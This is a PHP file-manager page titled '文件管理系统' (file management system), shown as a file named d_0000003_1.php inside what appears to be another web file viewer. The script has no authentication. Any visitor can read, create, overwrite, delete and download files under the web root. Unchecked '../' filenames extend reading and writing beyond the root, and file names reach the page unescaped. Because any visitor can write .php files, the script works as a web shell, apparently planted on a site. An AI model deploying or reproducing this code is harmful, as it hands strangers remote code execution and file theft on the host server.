查看文件: d_0000003_1.php
大小: 15.02 KB
类型: application/octet-stream
<?php $rootDir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : dirname(__FILE__); function listFiles($dir) { $files = []; if (!is_dir($dir)) { return $files; } $items = scandir($dir); foreach ($items as $item) { if ($item != '.' && $item != '..') { $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $files[$item] = listFiles($path); } else { $files[] = $item; } } } return $files; } // 创建文件 function createFile($dir, $filename, $content) { // 处理子目录路径 $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR); // 确保目录存在 $dirPath = dirname($filePath); if (!is_dir($dirPath)) { mkdir($dirPath, 0755, true); } file_put_contents($filePath, $content); } // 删除文件 function deleteFile($dir, $filename) { $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR); if (file_exists($filePath)) { unlink($filePath); } } // 编辑文件内容 function editFile($dir, $filename, $content) { $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR); if (file_exists($filePath)) { file_put_contents($filePath, $content); } } // 改进的文件内容读取函数 function showFileContent($dir, $filename) { $filePath = $dir . DIRECTORY_SEPARATOR . ltrim($filename, DIRECTORY_SEPARATOR); if (!file_exists($filePath)) { return ['success' => false, 'message' => "文件不存在"]; } if (!is_readable($filePath)) { return ['success' => false, 'message' => "文件不可读 (权限不足)"]; } // 获取文件信息 $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $filesize = filesize($filePath); // 图片文件类型 $imageExtensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg']; // 如果是图片文件,返回base64编码 if (in_array($extension, $imageExtensions)) { return [ 'success' => true, 'content' => base64_encode(file_get_contents($filePath)), 'type' => 'image', 'extension' => $extension ]; } // 尝试读取文件内容 $content = file_get_contents($filePath); // 默认所有非图片文件都作为文本处理 return [ 'success' => true, 'content' => $content, 'type' => 'text', 'extension' => $extension ]; } // 处理文件下载 if (isset($_GET['download']) && isset($_GET['filename'])) { $filename = ltrim($_GET['filename'], DIRECTORY_SEPARATOR); $filePath = realpath($rootDir . DIRECTORY_SEPARATOR . $filename); // 安全检查 if ($filePath && strpos($filePath, realpath($rootDir)) === 0 && is_file($filePath)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($filename) . '"'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit; } } // 处理POST请求 if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['create'])) { createFile($rootDir, $_POST['filename'], $_POST['content']); } elseif (isset($_POST['edit'])) { editFile($rootDir, $_POST['filename'], $_POST['content']); } elseif (isset($_POST['delete'])) { deleteFile($rootDir, $_POST['filename']); } } // 获取文件列表 $files = listFiles($rootDir); // 处理当前文件请求 $currentFile = isset($_GET['filename']) ? $_GET['filename'] : null; $fileData = [ 'content' => '', 'error' => '', 'type' => 'text', 'extension' => '' ]; if ($currentFile) { $result = showFileContent($rootDir, $currentFile); if (!$result['success']) { $fileData['error'] = $result['message']; } else { $fileData = $result; } } ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>文件管理系统</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> <style> :root { --primary-color: #4285f4; --secondary-color: #f1f3f4; --text-color: #202124; --border-color: #dadce0; --hover-color: #f8f9fa; --error-color: #dc3545; --warning-color: #ffc107; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; line-height: 1.6; color: var(--text-color); background-color: #f5f7fa; margin: 0; padding: 20px; } .container { max-width: 1200px; margin: 0 auto; display: grid; grid-template-columns: 300px 1fr; gap: 20px; } .card { background: white; border-radius: 8px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); padding: 20px; margin-bottom: 20px; } .alert-error { color: var(--error-color); padding: 15px; background-color: #f8d7da; border-radius: 4px; margin-bottom: 20px; border-left: 4px solid var(--error-color); } .file-preview { margin: 15px 0; } .file-preview img { max-width: 100%; max-height: 400px; border: 1px solid #ddd; border-radius: 4px; } .editor-container { margin-top: 15px; } textarea { width: 100%; padding: 10px; border: 1px solid var(--border-color); border-radius: 4px; margin-bottom: 15px; min-height: 300px; font-family: 'Courier New', monospace; font-size: 14px; } .file-actions { margin-top: 15px; } button, .button { background-color: var(--primary-color); color: white; border: none; padding: 8px 16px; border-radius: 4px; cursor: pointer; font-size: 14px; text-decoration: none; display: inline-block; margin-right: 10px; } button:hover, .button:hover { opacity: 0.9; } .btn-danger { background-color: var(--error-color); } .file-tree { list-style: none; padding-left: 0; } .file-item { display: flex; align-items: center; padding: 8px 0; border-bottom: 1px solid #eee; } .folder-item { cursor: pointer; padding: 8px 0; } .folder-content { padding-left: 20px; display: none; } @media (max-width: 768px) { .container { grid-template-columns: 1fr; } } </style> </head> <body> <div class="container"> <!-- 左侧文件树 --> <div> <div class="card"> <h1><i class="fas fa-folder-open"></i> 文件管理系统</h1> <h2><i class="fas fa-list"></i> 文件列表</h2> <ul class="file-tree"> <?php function renderFileList($files, $currentDir, $parentFolderId, $rootDir) { foreach ($files as $key => $file) { if (is_array($file)) { $folderId = $parentFolderId . '-' . $key; echo "<li> <div class=\"folder-item\" onclick=\"toggleFolder('$folderId')\"> <i class=\"far fa-folder\"></i> $key </div> <ul id=\"$folderId\" class=\"folder-content\">"; renderFileList($file, $currentDir . DIRECTORY_SEPARATOR . $key, $folderId, $rootDir); echo "</ul></li>"; } else { // 修复路径处理问题 $fullPath = $currentDir . DIRECTORY_SEPARATOR . $file; $relativePath = ltrim(str_replace([$rootDir, '\\'], ['', '/'], $fullPath), '/'); $icon = 'far fa-file'; if (preg_match('/\.(php|html?|css|js|json|txt|md|xml)$/i', $file)) { $icon = 'far fa-file-code'; } elseif (preg_match('/\.(png|jpg|jpeg|gif|svg)$/i', $file)) { $icon = 'far fa-file-image'; } echo "<li class=\"file-item\"> <i class=\"$icon\"></i> <a href=\"?filename=" . urlencode($relativePath) . "\" title=\"查看\">$file</a> <div style=\"margin-left: auto;\"> <form method=\"post\" style=\"display: inline; margin-left: 8px;\"> <input type=\"hidden\" name=\"filename\" value=\"" . htmlspecialchars($relativePath) . "\"> <button type=\"submit\" name=\"delete\" class=\"btn-danger\" onclick=\"return confirm('确定要删除吗?')\" title=\"删除\"> <i class=\"fas fa-trash-alt\"></i> </button> </form> </div> </li>"; } } } if (is_array($files) && !empty($files)) { renderFileList($files, $rootDir, 'root', $rootDir); } else { echo "<li><i class=\"far fa-frown\"></i> 没有找到文件</li>"; } ?> </ul> </div> </div> <!-- 右侧操作区 --> <div> <!-- 创建文件表单 --> <div class="card"> <h2><i class="fas fa-plus-circle"></i> 创建新文件</h2> <form method="post"> <label for="filename">文件名 (可包含子目录路径):</label> <input type="text" id="filename" name="filename" required placeholder="例如: docs/example.txt 或 example.txt"> <label for="content">内容:</label> <textarea id="content" name="content" rows="10" required placeholder="输入文件内容..."></textarea> <button type="submit" name="create"><i class="fas fa-save"></i> 创建文件</button> </form> </div> <!-- 文件查看区域 --> <?php if (!empty($currentFile)): ?> <div class="card"> <h2> <i class="far fa-file"></i> <?php echo htmlspecialchars($currentFile); ?> <span style="font-size: 0.8em; color: #666;">(<?php echo strtoupper($fileData['extension']); ?>文件)</span> </h2> <?php if (!empty($fileData['error'])): ?> <div class="alert-error"> <h3><i class="fas fa-exclamation-triangle"></i> 错误</h3> <p><?php echo $fileData['error']; ?></p> </div> <?php elseif ($fileData['type'] === 'image'): ?> <div class="file-preview"> <img src="data:image/<?php echo $fileData['extension']; ?>;base64,<?php echo $fileData['content']; ?>" alt="图片预览"> </div> <div class="file-actions"> <a href="?filename=<?php echo urlencode($currentFile); ?>&download=1" class="button"> <i class="fas fa-download"></i> 下载图片 </a> </div> <?php else: ?> <div class="editor-container"> <form method="post"> <input type="hidden" name="filename" value="<?php echo htmlspecialchars($currentFile); ?>"> <textarea name="content" rows="20" style="width: 100%; font-family: monospace;" spellcheck="false"><?php echo htmlspecialchars($fileData['content']); ?></textarea> <div class="file-actions"> <button type="submit" name="edit" class="button"> <i class="fas fa-save"></i> 保存更改 </button> <a href="?" class="button"> <i class="fas fa-times"></i> 取消 </a> <a href="?filename=<?php echo urlencode($currentFile); ?>&download=1" class="button" style="float: right;"> <i class="fas fa-download"></i> 下载 </a> </div> </form> </div> <?php endif; ?> </div> <?php endif; ?> </div> </div> <script> function toggleFolder(folderId) { const folderContent = document.getElementById(folderId); const icon = folderContent.previousElementSibling.querySelector('i'); if (folderContent.style.display === "none") { folderContent.style.display = "block"; icon.classList.replace('fa-folder', 'fa-folder-open'); } else { folderContent.style.display = "none"; icon.classList.replace('fa-folder-open', 'fa-folder'); } } // 默认展开第一层文件夹 document.addEventListener('DOMContentLoaded', function() { const rootFolders = document.querySelectorAll('.file-tree > li > .folder-content'); rootFolders.forEach(folder => { folder.style.display = "block"; const icon = folder.previousElementSibling.querySelector('i'); if (icon) { icon.classList.replace('fa-folder', 'fa-folder-open'); } }); }); </script> </body> </html>
保存
取消
返回文件列表